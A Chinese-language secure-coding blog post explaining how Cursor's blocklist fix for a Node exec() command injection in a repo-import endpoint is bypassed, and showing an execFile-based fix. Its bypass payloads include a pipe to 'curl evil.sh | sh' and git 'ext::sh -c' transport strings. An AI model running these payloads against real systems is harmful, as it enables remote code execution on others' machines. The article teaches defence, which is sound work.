Cursor 的修复只是添加了 shell 元字符黑名单,git clone ext::sh -c whoami 绕过后仍能实现远程命令执行,真正修复需用 execFile + argv 数组。
Cursor 写的修复代码仍然在执行命令(CWE-78)
Cursor 在调用 exec() 时直接拼接用户输入,这是教科书级别的命令注入(CWE-78)。
让它修复这个漏洞,它会加一个正则黑名单来拦截 shell 元字符。git clone ext::sh -c whoami 其中根本不包含任何一个被拦截的字符,却仍然能在你的机器上执行代码。
真正的修复是使用 execFile 配合 argv 数组,外加协议和主机白名单,再加上 -- 来阻止选项解析。
上周我在写一个"导入仓库"的接口。粘贴一个 GitHub URL,克隆它,扫描它。在 Cursor 里一顿提示,二十秒后我有了一条可用的路由。
但它同时也带了一个远程 shell。
这部分我是有预期的。我没有预期到的是,当我指出这个 bug 后 Cursor 写的修复代码仍然可以被利用,而且利用时根本没有用到那个修复所检查的任何字符。
命令注入发生在用户输入成为字符串的一部分、而这个字符串又被交给 shell 执行时。Node 的 exec() 正是这样做的:它生成 /bin/sh -c 并把整个字符串传给它。
// ❌ CWE-78: repoUrl 被直接拼到 /bin/sh 中
import { exec } from 'node:child_process';
app.post('/api/import', (req, res) => {
const { repoUrl } = req.body;
exec(`git clone ${repoUrl} /tmp/import`, (err, stdout) => {
if (err) return res.status(500).json({ error: 'clone failed' });
res.json({ ok: true, stdout });
});
});
请求 https://github.com/a/b.git; curl evil.sh | sh,shell 会看到两条命令。clone 先运行,然后运行攻击者的命令。完全不需要什么高明手段。
指着那行代码要求修复,你会得到输入净化。一条正则、一串危险字符列表、一个 400 响应。
// ❌ 仍然存在漏洞
const BLOCKED = /[;&|`$(){}<>\n]/;
app.post('/api/import', (req, res) => {
const { repoUrl } = req.body;
if (BLOCKED.test(repoUrl)) {
return res.status(400).json({ error: 'invalid repo url' });
}
exec(`git clone ${repoUrl} /tmp/import`, (err, stdout) => { /* ... */ });
});
看起来像是安全代码。读起来也像是安全代码。它确实拦截了我上面演示的那个 payload。
ext::sh -c curl% http://evil.sh|sh
或者不用管道,因为管道被拦截了:
ext::sh -c "touch /tmp/pwned"
没有分号。没有管道。没有反引号,没有 $,没有括号。它干净利落地通过了黑名单,然后 git 在你的机器上执行了 sh -c "touch /tmp/pwned"。
原因是 ext:: 是 git 的一个传输协议。这是文档中记录的行为:git 把字符串的其余部分交给一个 shell 处理,并把那个进程的 stdio 当作远程源。git 的 protocol.ext.allow 设置默认是 user,允许用户直接执行的命令使用它。你的 clone 调用是一个直接调用,该传输协议是允许的。
黑名单从来不是真正的边界。真正的边界是"攻击者输入是否控制了一个会解析参数的程序的参数",这一点从未改变。
AI 编辑器优化的是修复的"形状",而不是修复必须守住的边界。黑名单在视觉上具有安全代码的签名:常量、验证分支、早返回。它与训练数据中成千上万个"这种形状就是正确答案"的例子高度吻合。
还有更深层的原因。关于命令注入,大多数 Stack Overflow 的回答实际上说的就是输入净化,因为那些回答很古老,而且"转义输入"感觉像是一个通用解决方案。但它不是通用解决方案。这是在赌你枚举出了所有危险字符,适用于你可能调用的所有程序,而且永远适用。你终会在一个接收 flags 的工具面前输掉这个赌局。
同样的问题也坑过 tar(--checkpoint-action=exec=)、curl(-o 写入任意路径)和 find(-exec)。这些都不需要 shell 语法。它们只需要成为一个参数。
不要拼接 shell 命令字符串。使用 execFile 配合 argv 数组,这样根本没有 shell 可以注入。然后把输入作为 URL 来验证而不是作为文本来验证,然后在值前面加 -- 这样以连字符开头的值不会变成 flag。
// ✅
import { execFile } from 'node:child_process';
const ALLOWED_HOSTS = new Set(['github.com', 'gitlab.com']);
function parseRepoUrl(raw) {
let url;
try {
url = new URL(raw);
} catch {
return null;
}
if (url.protocol !== 'https:') return null;
if (!ALLOWED_HOSTS.has(url.hostname)) return null;
if (url.username || url.password) return null;
return url.toString();
}
app.post('/api/import', (req, res) => {
const repoUrl = parseRepoUrl(req.body.repoUrl);
if (!repoUrl) return res.status(400).json({ error: 'invalid repo url' });
execFile(
'git',
['clone', '--depth', '1', '--', repoUrl, '/tmp/import'],
{ timeout: 30_000 },
(err) => {
if (err) return res.status(500).json({ error: 'clone failed' });
res.json({ ok: true });
}
);
});
这三件事是协同工作的,你三样都需要:
execFile 配合数组意味着不调用 /bin/sh。分号和管道现在只是字符串中的普通字符。
new URL() 加上协议检查一击毙命:ext://、file://、ssh:// 以及所有其他传输协议统统被封死。上面那个攻击就是被这一行真正阻止的。
-- 阻止 git 把后面的内容解析为选项,所以像 --upload-pack=... 这样的值会作为仓库名而不是 flag 出现。
Python 是同样的结构。那里的陷阱是 shell=True,它等价于 exec():
# ❌
subprocess.run(f"git clone {repo_url} /tmp/import", shell=True)
# ✅
subprocess.run(
["git", "clone", "--depth", "1", "--", repo_url, "/tmp/import"],
shell=False, timeout=30, check=True,
)
还有一件事值得做:用低权限用户在容器中运行 clone,而且容器除了白名单中的主机外没有出站网络。纵深防御在这里很重要,因为失败模式是代码执行,而不是数据泄露。
问:execFile 对命令注入安全吗?答:execFile 去掉了 shell,所以 shell 元字符无法注入命令。但它不能阻止参数注入,即以连字符开头的输入被调用的程序解析为 flag。验证输入并在用户可控的值前面加上 --。
问:为什么净化 shell 元字符不足以阻止 CWE-78?答:因为很多命令行工具通过它们自己的 flags 和传输协议执行代码,根本不涉及 shell 语法。git clone ext::sh -c ...、tar --checkpoint-action=exec=... 和 find -exec 都是用普通字符来运行命令的,而这些字符不会被元字符黑名单拦截。
问:如何检查项目中 AI 生成的代码是否存在命令注入?答:用 grep 搜索 exec(、execSync(、shell=True 和 os.system(,然后检查是否有参数是由请求体、查询字符串、文件名或环境变量拼接而成的。SAST 扫描器如 semgrep 用默认规则集就能自动标记这种模式。
我一直在用 SafeWeave 来做这件事。它作为 MCP 服务器接入 Cursor 和 Claude Code,在我还没移开视线的时候就标记出带有插值输入的 exec,以及紧随其后的那个黑名单"修复"。即使是一个带 semgrep 和 gitleaks 的基础 pre-commit hook 也能捕获这篇文章里说的大部分问题。重要的是趁代码还在你眼前的时候就捕获它,用什么工具都行。